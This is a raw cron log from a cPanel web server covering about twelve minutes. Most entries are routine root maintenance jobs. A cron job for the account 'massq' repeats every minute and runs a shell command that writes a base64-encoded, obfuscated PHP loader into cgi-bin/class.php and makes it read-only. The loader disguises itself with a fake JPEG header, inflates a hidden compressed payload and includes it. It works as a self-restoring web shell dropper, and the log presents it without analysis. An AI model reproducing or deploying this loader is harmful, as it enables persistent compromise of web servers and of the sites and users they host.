Sep  3 05:53:01 server CROND[11730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:53:01 server CROND[11731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:53:01 server CROND[11732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:54:01 server CROND[12113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:54:01 server CROND[12114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:54:01 server CROND[12115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:55:01 server CROND[12528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 05:55:01 server CROND[12530]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 05:55:01 server CROND[12531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:55:01 server CROND[12533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:55:01 server CROND[12532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:55:01 server CROND[12535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:55:01 server CROND[12534]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:56:01 server CROND[13933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:56:01 server CROND[13934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:56:01 server CROND[13935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:57:01 server CROND[14425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:57:01 server CROND[14426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:57:01 server CROND[14427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:57:01 server CROND[14428]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 05:58:01 server CROND[14823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:58:01 server CROND[14824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:58:01 server CROND[14825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:59:01 server CROND[15215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:59:01 server CROND[15216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:59:01 server CROND[15217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:00:01 server CROND[15627]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 06:00:01 server CROND[15630]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 06:00:01 server CROND[15639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:00:01 server CROND[15638]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 06:00:01 server CROND[15642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:00:01 server CROND[15637]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  3 06:00:01 server CROND[15641]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 06:00:01 server CROND[15640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:00:01 server CROND[15644]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 06:00:01 server CROND[15643]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:00:01 server CROND[15645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:01:01 server CROND[16529]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 06:01:01 server CROND[16530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:01:01 server CROND[16531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:01:01 server CROND[16533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:01:01 server run-parts(/etc/cron.hourly)[16529]: starting 0anacron
Sep  3 06:01:01 server run-parts(/etc/cron.hourly)[16551]: finished 0anacron
Sep  3 06:02:01 server CROND[17031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:02:01 server CROND[17033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:02:01 server CROND[17034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:03:01 server CROND[17428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:03:01 server CROND[17430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:03:01 server CROND[17431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:04:01 server CROND[17825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:04:01 server CROND[17826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:04:01 server CROND[17827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
